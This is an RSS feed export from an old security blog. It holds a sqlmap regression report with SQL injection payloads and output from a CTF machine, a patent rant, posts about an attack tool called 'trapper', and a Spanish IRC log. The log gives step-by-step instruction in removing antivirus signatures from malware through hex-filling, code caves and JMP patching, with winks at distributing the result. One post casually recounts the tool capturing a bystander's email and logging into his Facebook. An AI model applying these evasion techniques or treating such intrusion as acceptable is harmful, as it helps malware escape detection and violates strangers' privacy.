<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security Dojo &#187; &#187; Security</title>
	<atom:link href="http://security-dojo.com/categorias/security-bits/feed/" rel="self" type="application/rss+xml" />
	<link>http://security-dojo.com</link>
	<description>Mandando tus logs a /dev/null desde 1976</description>
	<lastBuildDate>Tue, 27 Sep 2011 15:22:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>SQLMap query problems</title>
		<link>http://security-dojo.com/security-bits/sqlmap-query-problems/</link>
		<comments>http://security-dojo.com/security-bits/sqlmap-query-problems/#comments</comments>
		<pubDate>Tue, 27 Sep 2011 15:22:00 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=140</guid>
		<description><![CDATA[Well, I run with psymera a CTF game and we are constantly adding new VMWare machines and new tests just to keep on playing and not get bored. As part of a internal training where I work I started to create some videos on how to use SQLMap (I promise to upload here shortly in [...]]]></description>
			<content:encoded><![CDATA[<p>Well, I run with psymera a CTF game and we are constantly adding new VMWare machines and new tests just to keep on playing and not get bored. As part of a internal training where I work I started to create some videos on how to use SQLMap (I promise to upload here shortly in a big rant about it) so I started on what everyone does: update your version.</p>
<p>And something interesting happened, sqlmap enumeration broke (gorgeous) but it didn&#8217;t look much like it, it baffled me at first, so much that I had to do all by hand and asked psymera if he changed something, he said no.</p>
<p>So this is the info of the updated sqlmap version to that date:</p>
<p><code><br />
root@fsckOSX:/pentest/database/sqlmap# svn info<br />
Path: .<br />
URL: https://svn.sqlmap.org/sqlmap/trunk/sqlmap<br />
Repository Root: https://svn.sqlmap.org/sqlmap<br />
Repository UUID: 7eb2e9d7-d917-0410-b3c8-b11144ad09fb<br />
Revision: 4380<br />
Node Kind: directory<br />
Schedule: normal<br />
Last Changed Author: stamparm<br />
Last Changed Rev: 4380<br />
Last Changed Date: 2011-09-19 12:08:08 -0700 (Mon, 19 Sep 2011)<br />
</code></p>
<p>the SVN rev is 4380, latest at Sep 19th, here is the example of a run against the vulnerable web server with this revision.</p>
<p><span id="more-140"></span></p>
<p><code><br />
root@fuckOSX:/pentest/database/sqlmap# ./sqlmap.py -u "http://XXX.XXX.XXX.XXX/index.php?page=search" --data="search=aaa" --dbs</p>
<p>    sqlmap/1.0-dev (r4380) - automatic SQL injection and database takeover tool</p>
<p>http://www.sqlmap.org</p>
<p>[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program</p>
<p>[*] starting at 14:26:22</p>
<p>[14:26:22] [INFO] using '/pentest/database/sqlmap/output/XXX.XXX.XXX.XXX/session' as session file<br />
[14:26:22] [INFO] resuming injection data from session file<br />
[14:26:22] [INFO] resuming back-end DBMS 'mysql 4' from session file<br />
[14:26:22] [INFO] testing connection to the target url<br />
[14:26:23] [WARNING] there is a DBMS error found in the HTTP response bodywhich could interfere with the results of the tests<br />
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br />
---<br />
Place: POST<br />
Parameter: search<br />
    Type: UNION query<br />
    Title: MySQL UNION query (NULL) - 1 column<br />
    Payload: search=aaa' UNION ALL SELECT CONCAT(CHAR(58,107,98,119,58),CHAR(82,88,103,80,76,100,72,90,73,105),CHAR(58,116,99,109,58))# AND 'MXBu'='MXBu<br />
---</p>
<p>[14:26:23] [INFO] the back-end DBMS is MySQL<br />
web server operating system: Linux CentOS 4<br />
web application technology: PHP 4.3.9, Apache 2.0.52<br />
back-end DBMS: MySQL 4<br />
[14:26:23] [WARNING] information_schema not available, back-end DBMS is MySQL < 5. database names will be fetched from 'mysql' database<br />
[14:26:24] [WARNING] if the problem persists with 'None' values please try to use hidden switch --no-cast (fixing problems with some collation issues)<br />
[14:26:24] [WARNING] the SQL query provided does not return any output<br />
available databases [1]:<br />
[*]</p>
<p>[14:26:24] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/XXX.XXX.XXX.XXX'</p>
<p>[*] shutting down at 14:26:24<br />
</code></p>
<p>So note the</p>
<p><strong><br />
available databases [1]:<br />
[*]<br />
</strong></p>
<p>This is interesting, it FINDS the database apparently but there is no name for it. This is the part that had me baffled (obviously the table enumeration, the column enumeration failed as it didn't know the database name) </p>
<p>So I started to update back, some versions (such as 4320) would even crash on run (this is normal as sqlmap is a very active project) so after a while i found the last revision that worked</p>
<p><code><br />
root@fuckOSX:/pentest/database/sqlmap# svn update -r 4319<br />
D    _sqlmap.py<br />
U    xml/payloads.xml<br />
U    plugins/dbms/sybase/enumeration.py<br />
U    plugins/generic/enumeration.py<br />
U    sqlmap.conf<br />
U    sqlmap.py<br />
U    doc/FAQ.pdf<br />
U    doc/README.html<br />
U    doc/README.pdf<br />
U    doc/THANKS<br />
U    doc/README.sgml<br />
U    lib/takeover/web.py<br />
U    lib/takeover/metasploit.py<br />
U    lib/utils/hash.py<br />
U    lib/controller/checks.py<br />
U    lib/controller/controller.py<br />
U    lib/core/common.py<br />
U    lib/core/threads.py<br />
U    lib/core/agent.py<br />
U    lib/core/settings.py<br />
U    lib/core/dump.py<br />
U    lib/core/defaults.py<br />
U    lib/core/option.py<br />
U    lib/core/optiondict.py<br />
U    lib/request/connect.py<br />
U    lib/request/comparison.py<br />
U    lib/request/basic.py<br />
U    lib/techniques/blind/inference.py<br />
U    lib/techniques/union/use.py<br />
U    lib/techniques/union/test.py<br />
U    lib/techniques/error/use.py<br />
U    lib/parse/cmdline.py<br />
D    tamper/unmagicquotes.py<br />
Updated to revision 4319.<br />
</code></p>
<p>Notate how lib/techniques/ had some changes, but changes from latest revision to this one are more than that, so it's a compromise for now.</p>
<p>So here is this revision against the same vulnerable web server.</p>
<p><code><br />
root@fsckOSX:/pentest/database/sqlmap# ./sqlmap.py -u "http://XXX.XXX.XXX.XXX/index.php?page=search" --data="search=aaa" --dbs</p>
<p>    sqlmap/1.0-dev (r4319) - automatic SQL injection and database takeover tool</p>
<p>http://www.sqlmap.org</p>
<p>[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program</p>
<p>[*] starting at 14:26:53</p>
<p>[14:26:53] [INFO] using '/pentest/database/sqlmap/output/XXX.XXX.XXX.XXX/session' as session file<br />
[14:26:53] [INFO] resuming injection data from session file<br />
[14:26:53] [INFO] resuming back-end DBMS 'mysql 4' from session file<br />
[14:26:53] [INFO] testing connection to the target url<br />
[14:26:54] [WARNING] there is a DBMS error found in the HTTP response bodywhich could interfere with the results of the tests<br />
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br />
---<br />
Place: POST<br />
Parameter: search<br />
    Type: UNION query<br />
    Title: MySQL UNION query (NULL) - 1 to 10 columns<br />
    Payload: search=aaa' UNION ALL SELECT CONCAT(CHAR(58,107,98,119,58),CHAR(82,88,103,80,76,100,72,90,73,105),CHAR(58,116,99,109,58))# AND 'MXBu'='MXBu<br />
---</p>
<p>[14:26:54] [INFO] the back-end DBMS is MySQL<br />
web server operating system: Linux CentOS 4<br />
web application technology: PHP 4.3.9, Apache 2.0.52<br />
back-end DBMS: MySQL 4<br />
[14:26:54] [WARNING] information_schema not available, back-end DBMS is MySQL < 5. database names will be fetched from 'mysql' database<br />
[14:26:54] [WARNING] if the problem persists with 'None' values please try to use hidden switch --no-cast (fixing problems with some collation issues)<br />
[14:26:54] [WARNING] it was not possible to count the number of entries for the used SQL query. sqlmap will assume that it returns only one entry<br />
[14:26:56] [INFO] fetching number of databases<br />
[14:26:56] [ERROR] unable to retrieve the number of databases<br />
[14:26:56] [INFO] falling back to current database<br />
[14:26:56] [INFO] fetching current database<br />
[14:26:56] [INFO] read from file '/pentest/database/sqlmap/output/XXX.XXX.XXX.XXX/session': pwnetwork<br />
available databases [1]:<br />
[*] pwnetwork</p>
<p>[14:26:56] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/XXX.XXX.XXX.XXX'</p>
<p>[*] shutting down at 14:26:56</p>
<p>root@fsckOSX:/pentest/database/sqlmap#<br />
</code></p>
<p>Here it is!!!</p>
<p><strong><br />
available databases [1]:<br />
[*] pwnetwork<br />
</strong></p>
<p>Just my 2 cents, this has been verified by other people and I hope if someone uses the tool and suddenly scratches his head can rollback to the working revision while sqlmap developers fix this (You guys are awesome keep the excellent work!!!)</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/security-bits/sqlmap-query-problems/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>stop232patent.com</title>
		<link>http://security-dojo.com/programming-bits/stop232patent-com/</link>
		<comments>http://security-dojo.com/programming-bits/stop232patent-com/#comments</comments>
		<pubDate>Tue, 15 Feb 2011 02:04:27 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[linkedin]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tu Peor Enemigo]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=125</guid>
		<description><![CDATA[I&#8217;ve been in the security environment for quite around years now, I don&#8217;t consider myself an expert but I consider myself knowledgeable, one thing is all my life I&#8217;ve had awesome people around me, giving me always advise, knowledge and pushing my creativity. I recently catch upon Cenzic having a pretty interesting patent, which basically [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been in the security environment for quite around years now, I don&#8217;t consider myself an expert but I consider myself knowledgeable, one thing is all my life I&#8217;ve had awesome people around me, giving me always advise, knowledge and pushing my creativity.</p>
<p>I recently catch upon Cenzic having a pretty interesting patent, which basically covers any code that baselines a web page and then injects faulty code into parameters to verify vulnerabilities. Yes you read correctly, this patent awarded in 2007 covers all web scanners and even powerful fuzzers into the patent, why it was granted? beats me I presume whoever checked it out didn&#8217;t really find prior art (there is) or really understand what was being patented (go lawyer+techie talk) the result? an overlapping patent.</p>
<p>Now a patent should ALWAYS be used defensively, which means &#8220;I protect myself from other people coming and breaking my stuff, asking me for money for something I developed or saying I didn&#8217;t create it&#8221; the problem is, Cenzic is NOT using the patent defensively, they are using it to get money out of web scanner companies.</p>
<p>IBM/HP already did a cross licensing deal with them, (probably giving them their crawler technology) and now they went and asked <a href="http://www.ntobjectives.com">NTObjectives</a> an insane amount of money, result? NTObjectives is fighting back, the filed a <a href="http://www.ntobjectives.com/news/NTOBJECTivesEntersPatentLitigationWithCenzic,Inc.">suit</a> which will then break the patent and stop this company from basically extorting money out of other companies for a very generic and broken patent.</p>
<p>It makes me sad, why? because one of the patent owners is someone I really respect: Greg Hoglund, the founder of rootkit.com, his books are great and I love them, but this patent, this is wrong. It saddens me the fact that someone on the security environment (I hate using the industry word, because grayhats and blackhats are not on the industry but are still on the environment) would do this and let it go.</p>
<p>I created then the website <a href="http://www.stop232patent.com">www.stop232patent.com</a> you can follow an in depth detail of the analysis of the patent, trial, prior art, etc. </p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/stop232patent-com/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Where information should stop</title>
		<link>http://security-dojo.com/programming-bits/where-information-should-stop/</link>
		<comments>http://security-dojo.com/programming-bits/where-information-should-stop/#comments</comments>
		<pubDate>Wed, 04 Aug 2010 01:36:52 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[trapper]]></category>
		<category><![CDATA[Tu Peor Enemigo]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=115</guid>
		<description><![CDATA[I often stay away from political and economical sources, why? well due to my job and research I believe I should not be involved in any of them, is my job not to be bias against nobody that could potentially be my client, so I just shut up, even with close relatives, friends and relationships. [...]]]></description>
			<content:encoded><![CDATA[<p>I often stay away from political and economical sources, why? well due to my job and research I believe I should not be involved in any of them, is my job not to be bias against nobody that could potentially be my client, so I just shut up, even with close relatives, friends and relationships.</p>
<p>As the release of trapper was getting closer I started thinking what good would the complete release of the software will do, and I came up with this answers:<br />
- Nothing, nobody would use it<br />
- Some people would use it for kicks, mostly to hack their own networks or hack work<br />
- It could be used to crack something large and big<br />
- Other people would use it on their audits, call me I&#8217;m finished and keep on using my research and work.<br />
- Man in black would seize my server (since it&#8217;s on the US) and force the app to be erased after magically appearing with a copy of it.</p>
<p>While the last one appears definitely far fetched the third one got me thinking seriously, not only because of the nature of my research has gone definitely into Hydras and AI / Neural Networks / Expert Systems but because potentially sooner or later it could be pushed into the light and someone will do something that would compromise the years I&#8217;ve work on the security field.</p>
<p>I&#8217;m not calling that a reporter, as the ones I know they have been always fair to me in developing at story, but today as I unleashed the third rewrite of trapper (yes I had to rewrite 2 times already due to redesign of the objects) someone at the starbucks checked their email via pop, in less than 5 minutes all his email was parsed, loged into facebook, found, friends found, had his avatar picture and was searching who he was talking to in MSN. At that second I realized I stupidly left the domain into * and not localhost, definitely my mistake but &#8230; it suddenly hit me, am I making stuff secure or insecure releasing this?<br />
<span id="more-115"></span><br />
The answer was &#8220;You are making stuff completely insecure, people won&#8217;t understand what is going on, it will be just pure blood and your point across will be lost&#8221; so my decision is to open trapper only to a few people without hard modules and keep it for <a href="http://www.yaguarete-sec.com">Yaguarete</a> as part of the internal tools, not because I don&#8217;t want to, believe me with the design I made a proficient coder will have no trouble to create it&#8217;s own little hydra, but it won&#8217;t me mine, it won&#8217;t be code breaking hard into stuff I seriously do not want to even ping.</p>
<p>YES I&#8217;ve become soft, YES I&#8217;m not the guy who used to rampage like 10 years ago in G-Con, but then again who would be? are you really a sane person holding into something that happened or said 10 years ago? is your life THAT pathetic?</p>
<p>I&#8217;ve seen people come from total &#8220;n00bs&#8221; into amazing hackers, like HKM I remember him messaging me saying he got hist first overflow after reading a paper then all the sudden he is destroying 2Wire with amazing research, people evolve, everything evolves, why wouldn&#8217;t I just evolve?</p>
<p>As I was reading the leaks that might break spies and complete networks of the CIA on Afganistan because of a leak I said &#8220;well sure government did stuff they shouldn&#8217;t have done? most probably but then again should documents leak THAT harshly?&#8221; I&#8217;m not condemning or applauding the act I just wondered &#8220;what if code I wrote ever is used for that?&#8221;</p>
<p>You might not have met me in my &#8220;worst&#8221; years, when I tough I was invincible, when nobody was smarter than me, more connected than me, etc. but I realize that those years I did more damage than help, I turn around and I smile when people tell me they look up to me and they have shaped cons in the sense of G-Con or stuff like that (I have to say that having someone name his kid after you felt great, thank you Pedro Navarro -byteStriker-)</p>
<p>Anyway I&#8217;m still alive, am I the same? no, is my research the same? probably is it still agressive? As much as I need to, because at the end, my research is only for me now, I don&#8217;t want any more fame, I don&#8217;t want the spotlight anymore, I&#8217;ve had my 15 minutes of fame, I want to do what I like, what I want and just be happy (breaking stuff sure why not)</p>
<p>Will trapper ever be public? to be honest it might, just not right now I&#8217;d like to keep the advantage before other companies use it and call my company inferior, anyway it will have a mixed license so too bad for ppl that will use it for commercial.</p>
<p>If you are interested in a copy of it, contact me and we can chat but I don&#8217;t promise anything.</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/where-information-should-stop/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Trapper from sniffer to hydra</title>
		<link>http://security-dojo.com/security-bits/trapper-from-sniffer-to-hydra/</link>
		<comments>http://security-dojo.com/security-bits/trapper-from-sniffer-to-hydra/#comments</comments>
		<pubDate>Sun, 13 Jun 2010 18:45:57 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[campus party]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hydra]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[trapper]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=108</guid>
		<description><![CDATA[This is the presentation I&#8217;m going to push in Campus Party and in Sec-T in Sweden in september. This is a complete recode of trapper, even changing the language for ruby, having namespaces on it and the capabilities to attack and exploit miss-configurations. I&#8217;m going to be exporting a git repository the first week of [...]]]></description>
			<content:encoded><![CDATA[<p>This is the presentation I&#8217;m going to push in Campus Party and in <a href="http://www.sec-t.org">Sec-T</a> in Sweden in september.</p>
<p>This is a complete recode of trapper, even changing the language for ruby, having namespaces on it and the capabilities to attack and exploit miss-configurations.</p>
<p>I&#8217;m going to be exporting a git repository the first week of August with the public version of Trapper 1.0 in git.security-dojo.com (It&#8217;s not setup yet so don&#8217;t even try) and version 1.1 should hit around september in Sec-T.</p>
<p>What stuff is being coded or tested now?</p>
<p>- Sniffing<br />
- Cracking the hashes<br />
- Using hashes to bring more hosts into the game<br />
- Reading emails<br />
- Reading applications<br />
- SSH and telnet into hosts<br />
- Start other sniffer heads in different OS (This is going to take time but oh well)<br />
- More to come!</p>
<p>If you are interested in beta testing Trapper drop me an email, you might not get the chance since I&#8217;m really picky on who betas my stuff but you can try :P</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/security-bits/trapper-from-sniffer-to-hydra/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Muerte al RunPE&#8230;</title>
		<link>http://security-dojo.com/security-bits/muerte-al-runpe/</link>
		<comments>http://security-dojo.com/security-bits/muerte-al-runpe/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 05:51:44 +0000</pubDate>
		<dc:creator>psymera</dc:creator>
				<category><![CDATA[misc]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=53</guid>
		<description><![CDATA[Bien aki mi ultima creacion para matar todos esos crypters chafas okupados por gran cantidad de malware para ser indetectables a los AV&#8217;s esta tool se basa en que todo los programas ke okupan el runpe como tecnica para ejeucion en memoria termina siendo igual sin importar el tipo de cambio ke s ele haga [...]]]></description>
			<content:encoded><![CDATA[<p>Bien aki mi ultima creacion para matar todos esos crypters chafas okupados por gran cantidad de malware</p>
<p>para ser indetectables a los AV&#8217;s</p>
<p><span id="more-53"></span></p>
<p>esta tool se basa en que todo los programas ke okupan el runpe como tecnica para ejeucion en memoria</p>
<p>termina siendo igual sin importar el tipo de cambio ke s ele haga</p>
<p>ya ke es un metodo muy poko flexible y porlotanto muy vulnerable</p>
<p>bueno esta herramienta me costo varias semanas de investigacion y desarrollo</p>
<p>esta echa en delphi y masm(primera vez ke trabajo en forma con asm xP)</p>
<p>sin mas aki les dejo este juguetito junto con su screenshot correspondiente</p>
<p>http://www.gigasize.com/get.php?d=b32byccdznf</p>
<p><img class="alignleft size-medium wp-image-54" src="http://security-dojo.com/wp-content/uploads/2009/07/screenshot-300x188.jpg" alt="screenshot" width="300" height="188" /></p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/security-bits/muerte-al-runpe/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Machancando AV&#8217;s</title>
		<link>http://security-dojo.com/uncategorized/machancando-avs/</link>
		<comments>http://security-dojo.com/uncategorized/machancando-avs/#comments</comments>
		<pubDate>Mon, 16 Mar 2009 22:54:40 +0000</pubDate>
		<dc:creator>psymera</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=45</guid>
		<description><![CDATA[Bien ahora para iniciar en este blog el log de una charla ke di en un canarl irc sobre las firmas de los av&#8217;s y como kitarselas a nuestros juguetitos experimentales xP &#60;Psymera&#62; ah si no les comente mi gato se llama antivirus &#60;Psymera&#62; y es la onda xxD &#60;sdc&#62; jajajaja &#60;rey_brujo&#62; Juar! &#60;Etal&#62; Llamaba&#8230;. [...]]]></description>
			<content:encoded><![CDATA[<p>Bien ahora para iniciar en este blog</p>
<p>el log de una charla ke di en un canarl irc sobre las firmas de los av&#8217;s</p>
<p>y como kitarselas a nuestros juguetitos experimentales xP</p>
<p><span id="more-45"></span></p>
<p><strong>&lt;Psymera&gt; ah si no les comente mi gato se llama antivirus<br />
&lt;Psymera&gt; y es la onda xxD</strong><br />
&lt;sdc&gt; jajajaja<br />
&lt;rey_brujo&gt; Juar!<br />
&lt;Etal&gt; Llamaba&#8230;.<br />
&lt;sdc&gt; neta?<br />
&lt;Drackoz&gt; ~<br />
&lt;sdc&gt; que cool<br />
&lt;sdc&gt; XD<br />
&lt;Etal&gt; se murio<br />
&lt;Psymera&gt; no ese es otro<br />
&lt;elprimodel5patas&gt; ./cry<br />
&lt;sdc&gt; lo compro symantec<br />
&lt;Psymera&gt; era la particion ToT<br />
&lt;Psymera&gt; XD<br />
&lt;elprimodel5patas&gt; lol<br />
&lt;hkm&gt; xD<br />
&lt;Drackoz&gt; Xd<br />
&lt;Psymera&gt; bueno ahora si me pondre serio ( aja xD)<br />
&lt;elprimodel5patas&gt; no, ya enserio hablales chimero por que estamos perdiendo auditorio<br />
&lt;jimtronic&gt; hablen<br />
&lt;Psymera&gt; (es el chiste para no hacer ridiculo en grande)<br />
&lt;Links_Engel&gt; jajaja<br />
&lt;Psymera&gt; bueno ya xD<br />
&lt;Psymera&gt; como todos sabemos hay tres metodos conocidos de detecion de virus XD<br />
&lt;Psymera&gt; por Firmas<br />
&lt;Psymera&gt; por heuristica<br />
&lt;Psymera&gt; y la ahora tan famosa y sonada proactiva( como la bautiso el kaspersky)<br />
&lt;Psymera&gt; bueno las Firmas son basico encontrar un archivo con siertos valores en ekis direccion<br />
&lt;Psymera&gt; haci nos detecta faiclmente ke tenemos un mydoom.abx<br />
&lt;Psymera&gt; o etc<br />
&lt;Psymera&gt; la heuristica okupa tanto firmas muy comunes en offsets, como la tabla de importaciones del archivo<br />
&lt;Psymera&gt; y la famosa proactiva (aja XD) ke no es mas ke hookear las apis del sistema<br />
&lt;Psymera&gt; y haci cogernos de los eggs xP<br />
&lt;Psymera&gt; en si nos enfocaremos ah la heuristica por ke es la divertida y facil de parchar XD<br />
&lt;Psymera&gt; y con eso nos llevamos firmas entre las panteras xP<br />
&lt;Psymera&gt; en si es una vercion modificada sobre las firmas clasicas las cuales tmb las cheka en memoria xP<br />
&lt;Psymera&gt; por eso aun ke le pongamos upx o demaz compresores al cargarlo en memoria nos detectara facilmente<br />
<strong>&lt;Psymera&gt; bueno para kitar firmas hay varias tecnicas<br />
&lt;Psymera&gt; de las conocidas esta la  RIT, MEEPA y hex XD</strong><br />
&lt;Psymera&gt; hoenstamente de estas tres ke son als mas conocidas la hex es una ke se basa solamente en la suerte para ke sea funcional<br />
&lt;Psymera&gt; y las otras dos es necesario conocimiento mas o menos decente de asm<br />
&lt;Psymera&gt; bueno para poder hacer todo esti primero tenemos ke encontrar las firmas ke hay ke modificar<br />
&lt;Psymera&gt; lo mas basico ke necesitamos, block de notas, hex editor y el AV del cual keremos sacar los offsets<br />
&lt;Psymera&gt; primero una carpeta la excluimos del scaneo por parte de nuestro AV<br />
<strong>&lt;Psymera&gt; ahi guardaremos nuestro kerido malware  ke no distribuiremos y solo lo haremos por experiementacion ( aja :p)<br />
&lt;Psymera&gt; lo vamos abrir con nuestro hex editor y vamos ah rellenar la mitad de el con bytes nulos XD y guardamos esa copia modificada en una carpeta ke si sea escaneada por nuestro av residente<br />
&lt;Psymera&gt; el chiste de esto<br />
&lt;Psymera&gt; es ke nos lo detecte el av<br />
&lt;Psymera&gt; y nos borre esa muestra<br />
&lt;Psymera&gt; o la kite o grite o lo ke sea ke haga el Av xP<br />
&lt;Psymera&gt; el chiste es buscar el lado donde no nos indike ke fue encotnrado<br />
&lt;Psymera&gt; apartir de ello trataremos de redusir la buskeda<br />
&lt;Psymera&gt; osea volvemos au nuestro hex editor y rellenamos denuevo pero en un espacio mas pekeño</strong><br />
&lt;Psymera&gt; haci ke con mucha pasiencia cafe y musica podemos sacarlo manualmente<br />
&lt;Psymera&gt; muchas de las veces( por no decir ke todas) nuestro rat packer o lo ke sea es detectado por varias firmas<br />
&lt;Psymera&gt; entonces tenemos ke ir haciendo pekeños rellenados con el hex editor<br />
&lt;Psymera&gt; y para no perdernos okupamos nuestro notepad para guardar neustro avanze y no kedar dañados con tanto numero XD<br />
&lt;Psymera&gt; bueno esta tarea se puede simplificar okupando herramientas espesificas como son<br />
&lt;Psymera&gt; signature cero, AVDevil y varias mas<br />
&lt;Psymera&gt; ke lo ke hacen es hacer este rellenado pero de una forma mas burda por llamarlo de una manera<br />
&lt;Psymera&gt; ya ke van creando ejemplares con blokes de un taaño determinado<br />
&lt;Psymera&gt; estas eran utiles o bueno lo son cuando nuestro AV es detectado por una sola firma<br />
&lt;Psymera&gt; (bien ahroa el super comercial de mi tool xD)<br />
&lt;elprimodel5patas&gt; go go go go!!<br />
<strong>&lt;Psymera&gt; bueno por ese motivo yo cree la herramienta AAVTools (Anti AntiViral Tools) ke sirve para identificacion de multiples firmas<br />
&lt;Psymera&gt; esta basada en la idea principal de signature cero de darnos una apariencia mas amigable en la deteccion de firmas<br />
&lt;Psymera&gt; poniendonos una linda barrita la cual reprecentara el cuerpo de nuestro amado malware xP</strong><br />
&lt;Psymera&gt; (termina comercial, al final sabran como cosnegirlo con faciles pagos de 9.95 xD)<br />
&lt;Psymera&gt; bueno suponiendo ke ya tenemos nuestra lista de firmas<br />
&lt;Psymera&gt; okuparemos la tecnica ke mas nos guste o acomode<br />
<strong>&lt;Psymera&gt; (bueno primero para tirarle tierra a la hex XD)<br />
&lt;Psymera&gt; se trata de teniendo nuestra firma okuparemos un hex editor para ver su valor y sumarle o restarle un valor para ke no sea detectado<br />
&lt;Psymera&gt; oviamente esto kitara la firma detectada pero lo ams provable es ke mate el flujo del programa<br />
&lt;Psymera&gt; ya ke estamos moviendo valores ah ciegas<br />
&lt;Psymera&gt; la tecnica rit se basa en mover un bloke de instrucciones ah otra parte del programa y volver al flujo normal<br />
&lt;Psymera&gt; y la meepa es una vercion modificada de la rit<br />
&lt;Psymera&gt; pero podriamos decir ke mas practica<br />
&lt;Psymera&gt; se trata de modificar los valores con un hex editor ah nuestro programa original y ponerle una rutina al principio del mismo ke nos vuelva a poner los valores originales pero en memoria</strong><br />
<strong>&lt;Psymera&gt; bueno para cualkiera de estas dos tecnicas necesitamos encontrar caverns en nuestro programa</strong><br />
&lt;hkm&gt; asi es como se ve el tool de psymera (bueno la version anterior): <a href="http://img264.imageshack.us/img264/8896/screenshotpq6.jpg" target="_blank">http://img264.imageshack.us/img264/8896/screenshotpq6.jpg</a><br />
<strong>&lt;Psymera&gt; ke no son mas ke huecos ke deja el compilador ah la hora de crearlo para mantener alineadas las direcciones en memoria o demaz xP<br />
&lt;Psymera&gt; para ello hay varias tool;  PEID, un script de ollydbg, topo(herramienta especialisada en ello) y otras mas<br />
&lt;Psymera&gt; (cof cof la nueva vercion de mi tool ya hace tmb esa funcion)<br />
&lt;Psymera&gt; pero bueno la mas okupada es el topo</strong><br />
&lt;Psymera&gt; esta herramienta nos da la opcion de buscar un tamaño minimo de la caverna o de no ayarlo aumentar el tamaño de alguna seccion o añadir una nueva para tenerlo<br />
&lt;Psymera&gt; la mayoria de las veces no necesitamos okupar esas dos ultimas opciones<br />
&lt;Psymera&gt; pero bueno volviendo ah la rit<br />
&lt;Psymera&gt; abriremos ahora nuestro malware a modificar en en ollydbg<br />
&lt;Psymera&gt; y buscaremos nuestra offset<br />
&lt;Psymera&gt; bueno para ayarla se me olvido decirles tmb xP<br />
&lt;Psymera&gt; ke okuparemos saber el valor de la imagebase del programa<br />
&lt;Psymera&gt; para sumarlo ah nuestro offset y tener nuestra direccion como RVA XD<br />
&lt;Psymera&gt; bueno teniendo la RVA del offset la buscaremos en el olly<br />
&lt;Psymera&gt; bueno primero buscamos nuestra firma ke es detectada<br />
&lt;Psymera&gt; como es un solo byte generalmente okupara parte de intruccioens mas grandes<br />
&lt;Psymera&gt; por ejemplo supongamos ke nuestra firma tiene un valor f6<br />
&lt;Psymera&gt; y la encontramos en estea instruccion<br />
&lt;Psymera&gt; 00403505   31F6             XOR ESI,ESI<br />
&lt;Psymera&gt; bueno copiaremos esta intruccion ah nuestro block de notas xP<br />
&lt;Psymera&gt; ademas de las siguientes tres<br />
&lt;Psymera&gt; 00403505   31F6             XOR ESI,ESI<br />
&lt;Psymera&gt; 00403507   8932             MOV DWORD PTR DS:[EDX],ESI<br />
&lt;Psymera&gt; 00403509   5F               POP EDI<br />
&lt;Psymera&gt; 0040350A   5E               POP ESI<br />
&lt;Psymera&gt; esto es por ponerles un ejemplo<br />
&lt;Psymera&gt; y guardamos la direcciond e la siguiente instruccion<br />
&lt;Psymera&gt; bien ya teniendo nuestro bloke de instrucciones okuparemos nuestra caverna<br />
&lt;Psymera&gt; de igual forma ke sacamos la RVA de la firma<br />
&lt;Psymera&gt; sacamos la caverna y nos dirigimos ah ella<br />
&lt;Psymera&gt; y copiaremos nuestro bloke de instrucciones ke copiamos ah ella<br />
&lt;Psymera&gt; al terminal el bloke le añadiremos un JMP 0040350B ke es en nuestro caso la siguient insutrccion ke se ejecutaria en el programa<br />
&lt;Psymera&gt; y volvemos denuevo a la direccion de nuestra firma<br />
&lt;Psymera&gt; y ah la intruccion la sobreescribiremos con un JMP direccion_de_la_cave<br />
